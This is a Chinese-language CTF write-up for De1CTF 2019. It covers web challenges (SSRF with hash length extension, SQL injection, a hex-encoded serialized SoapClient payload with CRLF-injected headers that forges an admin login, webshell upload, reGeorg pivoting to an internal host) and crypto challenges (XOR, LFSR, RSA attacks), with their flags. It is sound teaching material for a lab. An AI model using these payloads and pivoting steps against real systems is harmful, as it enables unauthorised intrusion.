Web
SSRF Me
题目直接给了源码:
1 |
|
很明显是 ssrf 读文件+哈希长度扩展攻击,这里过滤了 file 协议,出题人本想考CVE-2019-9948 ,使用local_file协议读取文件,但是urlopen直接可以读文件,导致了非预期。。。
exp:
1 | import hashpumpy |
shellshellshell
这题把两个题强行拼到一起,加到内网里…
开始和2018 n1ctf Easy&&Hard Php 几乎一样,具体参考https://xz.aliyun.com/t/2148 ,直接打就完事了。
源码泄露拿到源码。
开始不知道是原题改的,审代码,审了很久发现 publish的signature 处有注入:
1 | function publish() |
其中 signature 可控,我们可以注入。
注出管理员密码,md5反解是jaivypassword,登录发现限制了登录ip,卡住。
我的思路一直是 insert 语句中执行 update,把数据库中用户的 is_admin 给改掉,试了一万年也不行。。。(好像是做不到的)
直到看到是原题,照着上面的wp开始打。。。
浏览器先打开登录页面,得到PHPSESSID是f1vr5f8189lm6oqqtodqkvp7r6,md5是070a7 ,爆破一下验证码是915720,然后生成payload:
1 |
|
1 | 4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3230313a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d663176723566383138396c6d366f7171746f64716b76703772360d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d393135373230223b733a31333a225f736f61705f76657273696f6e223b693a313b7d |
然后在签名处:
刷新一下PHPSESSID是f1vr5f8189lm6oqqtodqkvp7r6的浏览器页面,就是admin了。
进入admin,写个马,然后访问/upload/gml.php,就可以得到webshell,然后提示说flag在内网机器里。。。
ifconfig发现机器ip是172.18.0.3,扫一下发现内网 172.18.0.2 在 80端口开着一个web服务:
又是一道原题,去年上海市大学生网络安全竞赛的题。。。参考https://blog.cindemor.com/post/ctf-web-12.html
搭个代理,使用reGeorgSocksProxy,https://github.com/sensepost/reGeorg
burp配个二重代理:
构造了这个能写马数据包:
1 | POST / HTTP/1.1 |
发包:
爆破文件名:
题目中说flag含有flag关键字,直接查找:
getflag
Crypto
xorz
去年 HCTF 出过类似的,key循环使用异或很长的明文,这道题还异或了个salt,不过salt已知,异或回去就好了。
偷一波天枢HCTF当时的脚本:
1 | import libnum |
de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}
babylfsr
给了生成的比特流,没给mask,256 bit,无爆破可能。
参考: https://blog.csdn.net/kevin66654/article/details/80554932
思路是根据生成的比特流,构造矩阵乘法来还原mask,相当于 M * mask = C,其中M是256*256的矩阵,mask和C是256*1的列向量(方程中中所有的元素不是0就是1,加法相当于异或),高斯消元去掉 M ,得到mask。
但是这里面我们只有508个比特,还需要8个bit才能解出mask,这里我们需要爆破8个bit,每种情况求出的mask都去还原一下key,因为题目给了key sha256的前四位,所以可以去比对,前四位对上的就是flag。
脚本:
1 | # -*- coding: utf-8 -*- |
babyrsa
套娃一样,题目:
1 | import binascii |
先求p,四组明密文,e=4,直接广播攻击。
往下看,ee1=42,直接密文开42次方发现就可以了,ee2=3,这么小,直接c+i*n 开三次方爆破。
再往下看,e=46531,n是2048 bit,没啥特点,猜想p和q过于接近,使用wiki上的思想,成功分解n:
解出hint:
1 | orz...you.found.me.but.sorry.no.hint...keep.on.and.enjoy.it! |
emmmm
往下看,最终的flag部分,同一个flag用不同的n和e加密,e与phi的最大公因数是14,不互素,一下想起了 2018 EIS 高校运维挑战赛的一道题目,如出一辙。
基本思想就是 e与p-1的最大公因数是14,导致最多能搞到 flag**14 mod n,没法往下搞,由于两个n分别是 p*q1,p*q2,我们可以利用中国剩余定理,求出 flag ** 14 (mod p*q1*q2) 进而求出 flag**14 (mod q1q2),发现14 与 (q1-1)\(q2-1) 的最大公因数是2,我们得到 flag**2 mod (q1*q2),开方即可。
最终exp:
1 | # -*- coding: utf-8 -*- |
de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}